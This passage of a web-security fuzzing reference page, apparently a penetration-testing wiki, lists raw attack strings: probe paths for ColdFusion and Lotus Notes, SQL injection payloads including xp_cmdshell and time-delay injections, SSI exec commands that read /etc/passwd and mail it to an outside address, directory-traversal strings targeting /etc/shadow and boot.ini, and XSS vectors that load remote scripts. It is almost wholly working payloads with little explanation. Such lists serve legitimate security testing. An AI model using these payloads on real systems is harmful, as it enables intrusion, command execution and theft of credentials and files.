CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> 